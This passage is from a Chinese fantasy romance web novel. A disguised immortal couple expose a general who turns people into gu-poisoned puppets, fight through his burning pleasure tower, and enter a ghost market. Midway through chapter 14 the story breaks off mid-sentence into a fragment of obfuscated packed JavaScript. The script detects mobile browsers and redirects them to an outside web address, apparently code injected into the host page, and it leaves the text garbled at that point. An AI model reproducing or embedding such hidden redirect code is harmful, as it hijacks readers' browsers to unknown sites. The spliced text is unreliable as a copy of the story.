他长睫垂下,她看不清神色,只看见他提了一盒出来,“那就这个。” 这又是甚么色?观南眯眼去瞧上面文字,原来是荷花色。同前面几个到底有何差异?莫不是东家赚钱之巧思罢。 她也懒得分辨,只盼着他快些,“倘若那乐师差人要见你我该如何?” “乐师?便让她等着。”守玉指尖抹上口脂,在她唇上将停未停。见她并无作拦之意,才放心按上去。 一层艳色抹开,指尖下是毫无阻隔的柔软。 她唇畔气息倾洒,他连她一呼一吸都感受得真切。此刻胸前震声如雷清晰,荒诞无稽,他却再也不能自欺欺人。 “你我既为未婚夫妻,自是有说不尽的私房话。”守玉沿着她唇边将口脂抹匀,笑而松手退后。“成了,娘子自己瞧瞧罢。” 观南觉得他这话听着怪异,一时又寻不出差错。转身去看镜中,却着实惊了:“你未曾为她人涂过么?” 是合适的。不深不浅,也未曾缺短或长出半分,衬得这张脸也可怜可爱起来。 “娘子高看我了。”他含笑摇头,“我生平第一次用口脂,便是今日为娘子。” 她由衷感激他:“实在是多谢你。”忽得望见此人指尖一抹艳红色,大抵是自她唇角擦上去的,瞧着恐怕倒教人以为是什么旖旎情事。 她便将帕子递过去:“擦一擦罢。” 守玉接了帕子却不用,手中涌出净水来洗了,而观南所给之帕则拢进袖间。 她没瞧见这些,只是望着镜中女子姣好容颜颇觉新奇。 待回过神来,暗自怪自己误了时辰:“还是快出去罢,莫要教杨大人久等了。” 守玉任由她牵住衣角。回了席上,夫妇二人正打着叶子戏,见她回来俱是满脸戏谑之色:“私房话说完了?终于舍得出来了?” 观南正要揪帕子,忽得想起帕子已给了他了。守玉牵住她指尖笑:“二位莫要再打趣她了,我家娘子面皮甚薄。” 她便恰到好处地弯弯唇,露出半张绯红桃花面。 “非是我有意如此。”杨夫人将纸片掷出去,调侃道:“你二人在房内腻歪了一刻钟,旁人还以为那屋子里有宝贝呢。” “哪有什么宝贝。”观南弯眼笑道:“怀竹替我上了口脂,这才多花了些时间。” 杨夫人打趣她;“怎地不叫小白了?” 守玉轻咳一声。 “得了,不逗她了。”杨大人显然仍对方才的射覆耿耿于怀,跃跃欲试道:“弟媳,会打叶子戏么?” “叶子戏……”观南默默去看守玉。 她同他使眼色:还是你上罢。 守玉无辜眨眼:可我不会。 “便是四十张纸分四种花色扣着,你我依次来拿。”杨大人乃是官场摸鱼老手,精通叶子戏一道。“四人一局,玩一回就会了!” 被杨夫人逮住盘问的神情犹在眼前,她着实是不愿再来了。忽得余光中碧绿一闪,计从心头起,哎呦一声就朝守玉晕过去。 守玉顺势接住她腰,俯身担忧道:“娘子,娘子?” 观南按住眉心,做出一幅痛苦之状,又往他怀中拱了拱,“我又头晕……莫不是被香薰得……” 杨夫人也放了牌过来,“弟媳这是怎地了?” “我家娘子体弱。”守玉将她搀起来,“家中从不敢熏浓香,且此处未免太浓了些。” “倒是确实如此。”杨大人仔细嗅了嗅,一时也觉得浓了。“谢大人还是将弟媳搀进屋中歇息会罢。” 二人便告辞。观南扮着柔弱无力状,实则始终竖耳听着,手下牵着他衣摆绕过拐角。待四周无人方才松手。 他道:“娘子,你如何了?” 观南摇头:“无事。”又道:“”我刚才似是瞥见小白往二楼去了。” “没看错么?”他伸手将她发间簪子扶正,“它跑去二楼做什么?” “它为龙王随侍,既弃我而去……”观南踌躇片刻,终究是道:“难不成是见着哪条化作人形的龙了?” 群芳宴上三教九流之辈俱在,也难保没有哪只妖混进来。 她微微蹙眉道:“且这楼大抵设了阵法,方才我用神识将楼搜寻一遍,却不能看得仔细。” 守玉正要说话,楼中却突兀间传出呼喊声。循声望去,楼中竟从八面窗外飞来似海的花瓣,香气愈发扑鼻浓烈。 仰头一看,满天莲灯普照,乐师四肢束着红绸翩然落地,手中瑟声婉转,奏的竟是战国乐。 一旁四位乐师端坐于琴前,指尖轻拨,琴音袅袅,如泣如诉。几人面上皆覆了白纱,神情瞧不真切。 当中的乐师开口,似鸣泣音:“岂曰无衣?与子同袍。王于兴师,修我戈矛……与子同仇。” 四周人听得悲切,一时间竟潸然泪下。 观南心中略觉不对,总觉得这场景诡异至极。往守玉看去,他亦是眯眼探究的模样。 待乐师稍稍住了口,座下便掌声如雷。更有人掷了金子上去,咕噜 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守玉同她耳语:“朝中二品大员,林昭林将军。此回群芳宴便是他一手操办的。” 观南将那人看了个清楚,这竟是个流连花丛,形销骨立的将军。 林昭一挥手,几个乐师仿佛才得了恩允般,飞速退至他身后了。 他却也并不在意那断了的弦未奏毕的乐,只笑道:“诸位今日赴群芳宴,乃是我林昭之幸,还请坐下尽享欢乐罢。” 便轻飘飘揭过,令人唤了新人新瑟上来。新乐师未覆面纱,奏的也是寻常街坊小调。 楼中顷刻间又和缓下来。 方才一触即发的氛围似乎从未有过。 守玉替她将发绾好。观南立着不动,见台上林昭同几人叙过了话便直奔他二人而来,便低声道:“他看见了。” “林将军几年前有军中美丈夫之命,传言目力极佳,曾于祭天坛上一箭三雕,昭示我朝万世永顺。” 他将几撮碎发别进簪中,伸手攥住她指尖安抚:“无事,林昭昔日与谢允感情不错。” 回身一看,林昭已到了眼前。 “谢大人,许久未见了。” 楼中熏了地笼,林昭竟还披了身大耄,瞧着不大结实的模样。“上一次见你还是我自请出征时,如今谢大人做了乡官,却也是春光满面。” 他又来瞥观南:“这位可是令夫人?真是姿容艳绝。” “还未成亲,已下过聘礼了,算作是未婚。”守玉挡在她身前,笑道:“将军莫吓着她了,我家娘子胆子小。” 观南缩在他身后咳嗽几声,暗自握住斩仙剑。 “胆子小?我看未必……”林昭阴冷目光针扎一样自她面上扫过,仿佛有实。“我方才都瞧见了,尊夫人可谓是……女中豪杰呐。” 这便是明目张胆的试探了。 “方才?将军看错了罢。”守玉偏要歪解他话意,笑吟吟道:“娘子并未用力拉我,是我自个爬起来的。” “反倒是将军……”他反将一军,“如今盯着我同娘子看,难不成是春心再动了?” 观南又咳一声,这下是真被他呛住了。 不知哪句话戳中了林昭心窝子,他面色当即冷下来,本就惨白的脸雪上加霜。 观南觑见他铁青着脸似要说话,片刻后却又和缓下来:“谢大人还是一如既往地能说会道……恍教我忆起当年朝上你舌战群儒了。” 守玉似笑非笑:“我同将军并非一路,却又不是仇敌,将军自己不也清楚么。” 林昭竟也缓缓笑起来。 他们两打什么哑迷?观南看看守玉,又望一眼林昭,后者之笑瞧着略有些瘆人。 她自守玉身后走出半步,似是羞涩道:“原来群芳宴是将军所置办么?实则我一直想来见见宝香楼的诸位乐师。方才见有人掷金子过去,一时情急也将簪子扔过去了……” 林昭不知信了没信,盯着她不作言语。 观南挽住守玉胳膊,抿唇笑道:“恰好方才我同谢大人射覆,猜中那幅头面。不知何时才能见着她?” 林昭抬眼:“原来中了头面的正是二位。” 13. 瞬生莲 林昭轻咳道:“咳……二位欲见她,自是不难。乐师歇在二楼,我引二位去罢。” 守玉颔首:“多谢大人了。” 越过红栏雕花扶手往上,香气愈发浓了。二楼往来人士服装各异,见观南循着一女子望去,林昭便同她道:“群芳宴请了近二百余人,二楼都是些江湖人士。” “原来如此。”观南回眼,“我见她穿着不似我朝制样,背上还带把弯刀,想来是自西域来的?” “正是。”他颔首,忽得蹙眉狠狠咳嗽几声,整个身子都颤起来。 守玉作忧心状上前:“你如今身子怎地愈发弱了,莫不是这香薰得?” “无事。”林昭收了帕子,“这香确实有些浓了……不过我却亦属实不同往日。” 那帕子上有血。观南同守玉对视一眼,无声摇头。 路过一处宴中,有几人围作一团似看戏状,面上桌上置了盆净水。 一人老神在在扣了盖子,嘴中颂出些经文。众人瞅着他跳大神似的来回转了一圈,睁眼开盖,盆中竟忽得绽出一朵莲花。 观南扫过一眼,心下有了数:“原来是瞬生莲的把戏。” 守玉望过去:“瞬生莲?” “坊间坑钱的骗术罢了。”林昭不屑嗤笑一声,见众人纷纷叫好往那人手中掷铜板,便道:“不过以假代真,李代桃僵之术,倒是也骗得了他们的钱。” 席中做法之人嘻嘻笑着收了钱。见有人好奇去碰那莲花,连忙扣了盖子:“我这可是昆仑玉虚宫中的仙莲,中坛元帅听过么?碰坏了你赔可不起!” 他搬出三清的名头,竟还说得有理有据,众人半信半疑地瞧着。 观南听见这话抬头去看守玉,见他也笑着垂眼同她对视:“玉虚宫中有没有莲花暂且不论,那莲花可是假的。” 她便笑:“我晓得,是通草做的。” “甚么三清还是菩萨,统统都是诓人的。”林昭嗤了一声,“人间诸多苦厄荒唐,神佛整日只诵经度化,又救得了谁?” 守玉挑眉:“将军原来不信神?” “我是自然不信的。谢大人信?” 他摇头:“神仙这东西么,自然是信则有不信则无。信了心中多出些快慰,不信倒也少了上供的银钱。” 这人又是一贯的避之不谈。林昭问不出他的话,又来问观南:“娘子觉着呢?” “我?”她眨眼,不动声色将话引过去:“我是觉着,倘若真有神仙,那也是人先得了道才成的神,也要福泽世人的。 今日鲜卑使者来贡的赤焰花,不正是所谓神降圣物么?” “神降圣物……”林昭大抵是觉得好笑,兀自低头咳了几声,“归根到底是一朵花罢了。” 终究没有再提。 三人往前去。二楼中人头攒动,几个年纪尚小的孩子从她身旁跑过,其中一个拉住另一个手:“你跑慢些!教夫子看见了又要骂你!” “夫子哪里还管得到我!”男孩冲伙伴吐舌头:“你不晓得么?带我们来的柳夫子遇见他前未婚妻了,眼珠子都快粘人家身上了!” 甚么柳夫子?观南下意识侧身去听,下一刻守玉攥住她指尖,低声道:“谢婌在那。” 林昭瞥一眼那处,“柳粲然……这么多年,柳家也竟死得只剩他一个了。” 观南这才恍然记起。 原来那日谢婌自太学回府后,谢府便对外称已将她寻回。今日谢衍受邀,估摸着是怕妹妹嫌闷,便带着谢婌也来了。 林昭侧身看他二人:“原来是尚书令家的儿女。你几位同为谢家宗亲,谢大人不去见一面么?” “我晓得他们要来。”守玉摇头。“不过也几年未见了,不如林将军先去忙,我二人待与他叙了旧再自行去见乐师罢?” 林昭正有此意,与他指了乐师之处,便告辞先上楼去了。 观南牵着他指尖,颇为无奈:“一定要去见?” “谢允乃是谢婌亲叔父,算不得远亲,不见恐怕不合礼。”他低声安抚她:“聊不过半刻,谢婌身前还有人呢。” “我不是不想见,只是觉得……” 谢婌难不成还要叫她叔母?真是荒唐。她叹气,抬眼望过去:“柳粲然?” 谢婌的烂桃花竟还不止宫中一个。 “他二人是前未婚夫妻。”守玉亦是觉得有趣,“柳家遭贬时便将婚约废了,道是小辈无意做不得真,不过如今瞧这样——” 倒不像是没有情谊。 至少柳粲然不是。 观南不禁抬眼:“你怎么什么都清楚?” 朝中大官记得便罢了,怎么连这种陈年旧事都知道? “我将谢允脑中记忆取出来吃了。”他笑起来,眼中光芒细碎:“娘子信么?” …… 庭中谢婌挨着谢衍,手中筷子夹住菜递去柳粲然身前。柳粲然正受宠若惊地要接,下一刻谢衍径直起身截胡:“我爱吃,给我罢。” “阿兄!你不是最不爱吃辣的吗!”谢婌气极,差点将碗筷砸过去,“你净欺负他做什么?” 谢衍冷笑:“我欺负他?婌儿,我看你是魂都被勾走了。” “往日婚约是他家先退的,我倒是想知道,他怎地还有脸坐在你身侧?” 柳粲然默然垂眼。谢婌抿唇,不自觉低下声哀告他:“我不都说了,是我一人的过错么?是我对不住他……” 谢衍冷冷瞧着他:“你何处对不住他了。既没本事娶,如今又装什么——” 谢婌猛然起身:“叔父!” 其余两人皆怔住。守玉正饶有兴致看着戏,冷不丁被谢婌乞求目光看过来,被观南扯袖子才回过神。 他茫然道:“她唤的是我?” “不唤你还能唤谁。”她推着他往前走,“快些走,小辈们都等着呢。” 来至三人眼前,只得默默受了长辈礼。谢衍这下也不敢闹了,招呼多上两幅碗筷才道:“叔父,你怎地来了?” 这位冰山似的叔父不是最不爱赴这种宴,还斥责旁人是废物纨绔么?身旁竟还带着位姑娘…… 守玉莫名想呛他一句,被观南拽着袖子才忍下去,咳嗽一声故作严肃道:“我怎么不能来?你叔母想来,我陪她来的。” 原来是叔母。谢衍放了心:“衍儿见过叔母。” 纵使观南早有准备,听见这句叔母也不禁望天望地,半晌才扯出笑来:“好……衍儿。” 谢婌不知怎地兴致不高,叫了句见过叔父母就坐回位上了。到了柳粲然,此人拘谨起身,竟恭恭敬敬朝她行了个大礼:“晚辈见过夫人。” 观南应了声,将他扶起。待重上了菜,酒席照旧,她才敢伸手揉揉脸颊。 扮笑了太久,脸都僵了。 正揉着脸,守玉忽然凑过来,同她嘟嘟囔囔道:“还从未有人叫过我叔父呢,显得我好老啊。” 她下意识去看他。 谢允实则只是而立之年,面容仍旧俊朗而有书生气。至于守玉自己的那张脸,是怎么也算不得老的。 他同她凑得近,她仿佛从他脸上看见些委屈。 观南脑中忽得出现他往日朝她卖乖的模样。 她只道:“凡人辈分如此,不按年岁作序的。” 他大抵哼哼了一声,“我那些师兄都已入金仙大能,师尊座下弟子中也是我最小,不也是按年岁排的么。” 观南心中腹诽:若是真论年纪,她都能当他姑奶奶了,不还是需得唤他一声师伯。 眼见谢衍望过来,便拍拍他肩膀,“坐直了,你扮的是长辈。” 守玉正要坐回去,忽得又扭头过来:“不是还要去见乐师么?我看他们三也是拘谨得很,不若你我还是寻个由头走罢。” 观南闻言,往席上其余三人一看,三人皆离得不近不远。 谢婌抿唇不语,谢衍木着脸给妹妹夹菜,柳粲然则瞧着略显多余。 气氛冷冷清清。 似乎只有她二人凑着脑袋在这腻歪。 倒也是。这样算来, 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“奴生得丑呀。”乐师捂唇笑起来,“恐怕揭了面帷会吓着二位贵客。两位既中了我的头面,想听什么曲子便尽管提罢。” 守玉同她对视一眼,道:“姑娘会些什么?” “我会得可多呢。”她抱了瑟来,“《湘夫人》《天问》……俱是能弹的,不过弹得最好的还是《山鬼》。可惜我原先的瑟断了,如今这一把不甚趁手。” 观南便道:“愿一闻娘子所奏之《山鬼》。” 她笑吟吟含羞敛态,缓缓垂首拨起瑟。素手纤纤,低吟浅唱:“若有人兮山之阿,被薜荔兮带女萝……” 五音俱全,宛转相合。间杂琮琤玉,巧共泉声。她唱得甚悲,若是旁人在此,必定泪下如雨。仿佛已自迷离山雾间,瞧见那女子怅然愁思。 待乐师唱完最后一句,收拨了弦,观南率先抹起眼泪来:“娘子唱得好极,只是过悲了。” “俗话说越悲越喜呀。愈是哀哀求怜,神灵便愈是怜惜。”乐师收了瑟抱在怀间,只淡淡笑了。 “不过我想这大抵也信不得。天底下哀音共十六声,神灵若真是要听,又哪里还缺我这一声呢?” 她垂首道:“我本也不爱奏这样的哀乐的。只是林将军甚喜这一首,总是要我与他弹来听。” 守玉抬眼:“林将军?” “是呀。宝香楼是林家的,林将军收留了我们这样的女子。我先前有个兄长,从军死了。自那之后,我便是孤家寡人了。” 她忽道:“好热呀,我阿弟若是在此,又要哭着闹我了。” 如此轻飘飘说着,自顾自起了身去将窗打开。 八月的天还是热的,自窗口灌进来的风却冷得彻骨,吹散满屋香雾。 落雨了。 观南瞧着她背影,暗自握住斩仙剑。她身后长发被风吹散,她看了个清清楚楚,那纤长脖颈下狰狞刺青。 竟是朵莲花。 再定睛一看,她僵硬得如同尸首一般,皮肤已白得不像人,脚踝边已有细细裂痕。 观南猛然回神,她中蛊了! 如今站在她身前的,恐怕已是具傀儡。只是她尚存意识,却又不能直说,只得这样隐晦告诉她。 谁将她制成傀儡的?谁为她下的蛊? 答案已呼之欲出。 ……林昭。 此人究竟欲做些什么? 守玉亦起身,伸手覆在她手上,低声道:“不可妄动。这楼中俱是林昭的人,也不晓得他养了几只傀儡,且还有阵法压着……” 她已将剑出鞘,而他握住她掌心。 终又将剑缓缓落下去。 观南阖眼:“……再等。” 再等半日。待拿了赤焰花,将中蛊之人救下。届时,她再来好好问一问林昭。 ……看看这人人皮下,又是怎样一颗心。 14. 梨花雪 雨渐渐大了。 林昭独独不爱下雨天。太学立在山脚下,其后竹林深深。若是雨淅沥沥砸落屋檐,林间便涌上浓雾,看不清颜色了。 太学中都是些望族儿女。谢允谢洵虽是同一家的,然谢洵性子刚烈,整日最好打马游街。谢允话少,瞧着也温温柔柔的,却不爱与人亲近。 他觉得这种人有意思,于是总喜欢去烦他。 彼时他是国公府的世子,老人家的掌中宝贝,身上总金光熠熠的。旁人见了他都叫他林小侯爷,他笑吟吟应了,狗尾巴草还叼在嘴里。 便拿狗尾巴草去逗谢允。此人终于叹气合上书,问小侯爷意欲何为。 林昭实则也不晓得自己要做些什么。这个年纪的他若是拉了弓去射鹰,鹰惨啸一声落下来,他便觉得自己厉害。 于是向谢允展示一番。 谢允虽与他年纪一样大,却老成太多,问他:“小侯爷箭术如此高超,是欲去前线保家卫国么?” 林昭从未想过这个问题。讷讷收了箭,道:“哪想过那么多。” 此时北疆战事节节败退,家里人能去前线的皆去了前线,他已经一年未见过自己阿父。 “所谓忠君报国,如今我总是想,你我在建康活得滋润,那北疆的军士又该如何呢?……我听闻北疆冷得很。”谢允放了书起身,立在他身旁,“可我从未习过武。” “怕什么。”林昭想得简单。“待我阿父老了不能打仗,我便接了他的位置,必打得鲜卑人找不着北!” 想到这个时辰街上已有了卖蛐蛐的,他笑嘻嘻地将鹰递予太学中小厮,大摇大摆地走了。谢允摇头,便未再说。 后来他就未曾再在谢允身上耗时间了。 年初立春,太学来了位公主,她长得蛮漂亮,只是宫中王皇后并不喜欢她。 如今皇体衰微,中宫膝下并无所出,太子如今才两岁,还是自淑妃过继而来的。 这位公主则更落魄,早些年间不知宠幸了哪个妃子才有了她,孤苦伶仃地长到十岁,陛下才想起有这么号人,便赐号德安。 她同他分在一个屋,坐在窗边,亦不爱与人讲话。夫子转去别处时,林昭总偷偷回身打量她。 久而久之坐在他身后的谢洵便发觉此事,笑嘻嘻凑过来:“林昭,你喜欢人家是不是?你喜欢德安公主呀。” 他险些呛出来:“胡说什么!” 谢洵已经同自己家小青梅订了婚约,整日与她腻腻歪歪拉小手,自认对情爱一事了解非常。“我看的可清楚,你盯人家快一个时辰了!” 谢洵笃定:“你就是喜欢她。” 他想说:没有的事。可当真没有么?便看天看地,又忍不住去瞅她。这一回头便被夫子抓包,令他站起来,问他走神去看什么了。 林昭胡乱道:“我瞅窗边梨花开的好。” “窗边梨花?”夫子来回打量他一眼,忽得笑了:“我看你看的是窗边人才对罢。” 这下子满屋都热闹起来。林昭被起哄惯了也不脸红,倒是怕她会不会羞,便转身,看见德安公主脸红了一大片。 他觉得自己这事做得不甚厚道。待下了学,屋中走得只剩他二人,他便过去同她道歉。 “无事。”德安只抿唇摇头,像是怕他,又像是不愿搭理他。 “我是真心的。”他结结巴巴道:“对不住。可我——我觉得你好看,你叫我阿昭吧,好不好?你叫什么名?” 她又脸红了。待他快将藏在身后的梨花揪烂时时,她才温吞道:“小侯爷唤我阿梨就行。” 阿梨,阿梨。名字真好听。 他不知怎地脸也烫起来了,将身后梨花递予她:“这支花送你。” 她轻声道谢接过,头垂得很低。公主马车停在太学门前,他将她送出去,看她上了马车。 ——不对,他都没问她,她的梨是哪个梨? 正要张口问,便见她红着一张脸从马车中探头出来:“小侯爷不要记错了,我的梨是梨花的梨。” “我晓得,我晓得了。”他连连点头,追着马车跑了几步:“好阿梨,下次我还找你玩成不成?” 她于是笑了:“好呀。” 他放下心来,目送她隐进雾里。 接着这雾也将他吞进去。入目所及皆是白茫茫一片……他睁眼,自梦中苏醒。 身旁随侍躬身请他:“禀告大人,鲜卑使者已至。” 林昭愣愣坐起身来。 这梦毕得猝不及防。他仿佛还置身雾中,恍惚间想着随她而去。一伸手,却空空荡荡。 怎么就偏偏是现在。 他再度闭眼,恨道:“来得真不是时候。” …… 房中,守玉正替乐师诊脉。 乐师静静闭了眼,气若游丝地坐着。守玉指尖悬在她腕上,丝毫察觉不出皮下血的脉动。 观南见他蹙眉,便问:“如何了?” “……治不成。”他缓缓呼一口气,大抵是觉着说不出口,“她体内全是毒血,蛊毒根植极深。纵使是有了解药也救不回这条命。” 观南无言以对,不禁去看乐师。她听了这话睁眼,瞧着无悲无喜:“我早已晓得了。是我还……心存侥幸。” “二位能帮我这些,我已不胜感激。”她僵硬起身,竟朝观南直直跪下去,“我如今已是苟延残喘,恐怕时日无多。我只求二位再帮我一回。” 观南猜到她欲说什么,一时于心不忍。声音卡在喉中不上不下,终究是阖眼道:“你弟弟已中蛊死了。” 乐师将出口的话便生生截住。 她茫然呆了片刻,眼泪却比声音先落了地:“是么……是么?二位见过他?” “他死时还惦念着你。”守玉摇头:“你昔日不是有一把瑟么?若是无人收拾,应当还在那屋中。” 乐师静静流着眼泪。她已是非人非鬼的傀儡,靠体内蛊吊着一条命,照理说也该丧了五感,如今却有止不住的泪留下来。 她最终道:“那二位下次来见我,将那柄瑟给我,成么?” 观南点头应了。 恰巧此时屋外有人扣门,乐师应了声,那人便恭敬退至窗前:“禀娘子,鲜卑使者已至,林将军令你前去奏乐助兴。” 终于来了。 便同乐师作别,两人出了房下楼,瞧见一楼中人分作两半,向中间使者几人让开道。 领头的是个皮肤黢黑的男子,长而卷的发随性披散着,笑盈盈上前同林昭见礼:“林将军,真是许久未见了。” “确实是许久未见了。”林昭轻笑:“上次见到鲜卑人,还是我亲手杀的位将军。” 使者听了这话也不动怒,只是更热切地凑过来:“林将军天生神力孔武不凡,我已倾慕已久。此次我鲜卑一族朝贡,意欲结两族之欢,带了牛羊万匹,还有我族圣物赤焰花——如今便在我手中。” 他将那赤褐色盒子双手奉上。林昭扫一眼这盒子,却并未打开,只含笑纳入袖中,道:“使者请上座。” 日落西沉,酉时开宴。 五名乐师上前来,皆脸覆面帷。素手一扫,弹得是欢庆喜乐的曲子。几千盏莲灯照着,席中各声融在一处,男女老少同聚华宴,共庆此时。 一品沉鱼,二品火腿,三品排骨,四品扣肉……可谓百品千味,尽在席中。觥筹交错,浓香四溢,那使者坐于林昭身侧,一杯又一杯被灌下酒,此刻醉醺醺地同人嬉笑。 林昭大抵也是醉了酒,将袖中赤焰花递予随从,便仰头大笑举杯。那随从接了盒子,自西往楼上走去。 观南同守玉敛了气息,紧跟他身后。眼见他上了最高一层楼,将盒子抱进屋中,出时还上了锁。 待那侍从走了,观南凑近打量一番:林昭当真富得流油,用的竟还是把金锁。 守玉伸手一摸,笑了:“还是纯金,这就好办了。”便伸手握住,掌心微微使力,直接将金锁掰开。 观南随他进去。屋中空空荡荡,只有那赤红盒子摆在案上。 竟这样轻易么? 放出神识去探,似乎也并无蹊跷。她便放了心,伸手去打开。 变故来得猝不及防。 眼前窗户忽得被人直直破开! 一道青色身形从她眼前掠过,猛然撞开门冲了出去。他跑得太快,观南竟来不及拔剑便被他甩在身后。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107290|163938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >接着便是四面八方海啸的尖叫声:“有人偷神物了!” 三道凌厉剑气连挥出去,将四楼朱红栏杆堪堪劈作两半,却只撩到那人袍角,他飞速往楼上跳去。 楼下人望见他二人,忙喊道:“这三人一伙的!” 顷刻间观南四周已涌上人,仔细一看竟全是傀儡,林昭真是疯得不轻! 她连忙以术法换了模样,回首冷声道:“这些我来,快去追!” 守玉愕然:“娘子,你一人——” 话还未必便有人扑上来。观南猛然揪住领子将其甩出去,见守玉还愣在原地,险些踹他一脚:“快去!” 守玉抿唇:“你当心些。”将她身后傀儡砍翻在地,便径直追上那人。 观南身处四楼拐角处,两方皆涌来不知疲倦的傀儡,便抿唇纵身越过栏杆,直直坠地! 达官贵人之流早已作鸟兽散。留在宝香楼中的只有林昭与成山似海的傀儡,他立在一楼正中的台上,似笑非笑地瞧着她:“姑娘瞧着年轻,不知是哪来的?倒是好勇气。我是该夸你年少轻狂,还是该说你蠢笨愚昧呢?” “——都不打紧了。”他忽得扯出一抹诡异的笑,“待我将你炼成傀儡,再将你那两名同伴捉住。” 观南冷冷瞧着他:“将我炼成傀儡,你有这个本事么?” 林昭大笑:“好气魄!”便双手一拍。傀儡眼中红光一闪,便咆哮着向她扑来。 观南虽不怕这蛊,却终究不愿被其咬上一口。便以剑柄重重一敲,将身前来的傀儡敲晕过去。 这傀儡终究还是太多,她不愿杀生,便离她越来越近了。她渐渐被逼至角落中去,而傀儡倒了一批还有另一批,似是无穷无尽。 林昭讥讽地瞧着她:“你当自己是佛祖还是菩萨?都这副模样了还不愿杀人,黄泉路上再颂你的慈悲去罢!” 观南不语,留神提防的间隔,将整座宝香楼上下打量一遍。 这通天神阙似的楼宇,璀璨华丽如此,不知花了多少金银,流尽了多少人的血汗? 万千莲灯照着她如玉的脸,剑影交错间,她忽叹一声。 林昭竟从她脸上看见些神像的怜悯。 他愕然:“你——” 下一瞬她站定,自身后抽出斩仙剑来,猛然向上挥去! 两道泼天的银光直直劈在宝香楼顶。下一刻神阁倾颓,漫天赤红的莲灯吐着火信子砸下来,落在昂贵木梁上,顷刻间交织成火海。 傀儡尖啸着倒下去。 林昭慌忙去躲。蛊毒最怕热火,而余光中,始作俑者提剑自火海中向他走来。 熊熊灼热焰浪吞吐一切,却只映得她瞳中一束璀璨光明。 林昭止不住发抖:“你是菩萨……还是阎罗?” 他此刻才陡然醒悟:此人不愿伤及无辜,自有她的悲悯与底气。 “我既非菩萨,亦非阎罗。我来只为我的道,只为我的心中的义。” 她一步步踏进火中,平静道:“林昭,你是人而贪恶,已与禽兽无异。” 她话音未落而剑光已至。林昭尖啸起来,忽得自身上炸开圈圈血雾。 这雾中有毒!观南倏然抬剑去挡,然那一道剑气终究还是落至了他身上。 待雾渐渐散了,大火仍旧烧着,眼前却已空无一人。观南愣神片刻。 跑了? 竟让人在她眼皮子底下跑了。若是师尊在此,定要用柳枝来戳她脑袋。 想想就头大。她默然将这想法驱逐出去。 身旁是倚叠如山的傀儡尸首,火苗一点点将其吞吃入腹。此处傀儡没有一千也有上百,大抵半月前还是生龙活虎的人,兴许家中还有老人孩童。 而名动京城的宝香楼也化成了灰,烟消云散。 这俱是林昭造的孽数。 观南不禁叹气。收了斩仙剑,正欲回身去寻守玉,忽得瞥见林昭方才站过的地上,什么物什静悄悄躺着。 走过去一看,竟是一枝梨花。 明月高悬,皎白月光照得这一枝梨花似雪动人。不知它主人用了甚么法术,竟使三月梨花到八月仍旧不败。 她静静看了片刻,将其放入包中。 15. 开鬼门 这人身形飞快,守玉紧紧跟在他身后。两道身影自建康千家万户屋檐上掠过,如此一路追着断瓦声,到了东北方蒋山脚下。 乱葬岗烟灰色爬满了山峦。正是十五月圆之际,月辉温光铺散满地,他放眼看去,一个个土坟包上魂幡狂舞,皆清晰可见。 近了。愈发近了。 守玉已看清这人的身形。大抵是个青年人,身形挺拔却不瘦削,被他追上脚步也随着乱了。他袖中抽出捆仙索来,瞅准那人身影便甩过去。 那人却猛地纵身一跳,似是跳进面镜中。守玉眼睁睁看着他渐渐从脚间隐去到了发尾,空中隐隐泛了波澜,顷刻间便消失不见了。 他却从那地方直直掠了过去。 守玉一时怔在原地。半晌,头顶月光自他耳后攀到眉间,雪白招魂幡无定晃悠着,他忽得转了身,仔仔细细打量起这山下方寸天地。 蒋山居东北,乱葬岗位山阴,是为南。而岗中几处大坟包,其位不同,各昭七星。 恰逢此刻,银玉盘天上高悬。 ……是个阵法?他上次来时竟未曾发觉。守玉踞腿,以手掌触地,神识细细探了片刻。 原来是个鬼市。 建康自百年前便是大都,从古至今蒋山下不知埋了多少人,葬了多少魂。怨仇不散,便徘徊于天地间,久而久之竟成了鬼市。 如今十五已过,鬼市门闭。若要进去捉人,岂不是只有等下月十五?恐怕彼时赤焰花早已一瓣都不剩了。 他盯着那人隐身的地方思忖片刻,伸手去探,脑中有了成算。 恐怕需得以神器劈开鬼门才是。 谁来呢? 身后忽得传来响动。他循声看去,见耸立的坟包上立了一人。她已换了那身贵族服饰,居高临下地站着看他,长发稍稍乱了,瞳中被照得如银般透亮。 她问:“抓住了?” 守玉笑起来:“娘子。你来了?” 观南嗯一声,自坟上下来。她见守玉一人空荡荡待在此处,便知又出了变故。 她等着他解释。却只听见守玉问:“怎么寻到我的?” 观南道:“我记得你身上的梨花酒味。” 她从宝香楼出来,只能沿着这股梨花甜味找他……自然也是出了岔子的。适才寻着味落至屋顶上,将门打开一看,一对男女正紧紧抱着,听见响动茫然向她看来。 她默默退出去,替他二人贴心合上门:“对不住,对不住。” 幸亏当蛇的鼻子都灵。若有若无的梨花甜味诱着她,一道直直往蒋山脚下来了。她便觉着这是他,过来一看,这人果不其然在。 她巡视四周,问他:“人呢?” “跑进鬼市去了。” 观南这才看见空中一道隐隐的镜面,指尖伸出却直直穿了过去。她明白过来,看他一眼:“难不成还需等上一整月?” 他笑:“娘子来了便不需再等了。劳烦娘子借我斩仙剑一用。” 她大抵懂了他意欲何为,便将剑解下递过去。 守玉拿了剑,手中细细掂量片刻,赞道:“果真是神剑。”便抽剑出来举过头顶,倏忽间猛然劈过去! 剑气直直劈在那道无波镜面上。忽得天地间静了一瞬,接着镜面一寸寸开裂,露出其后真面目来。 这俨然是条街道。天上只有一轮血月,巷间灯笼一盏盏挂在檐上,幽幽红烛光婆娑乱晃着,染得青砖绿瓦掺了血一般瘆人。 街上如寻常城中一般往来行人,只是仔细一看,这行人俱是没有腿与影子的。只飘忽不定地浮在路上,眼神愣怔看着前路,纵使鬼市门被强硬劈开,也未曾往此处望来一眼。 他收剑还予她。观南见他出剑收剑得干净利落,便知此人是学过剑的。只是眼下不好问,随他进了鬼市。 甫一进来,身后裂口便一寸寸合上了。原来鬼市间亦是有风的,森冷鬼气直直扑在她面上,似要将人手脚都冻住。 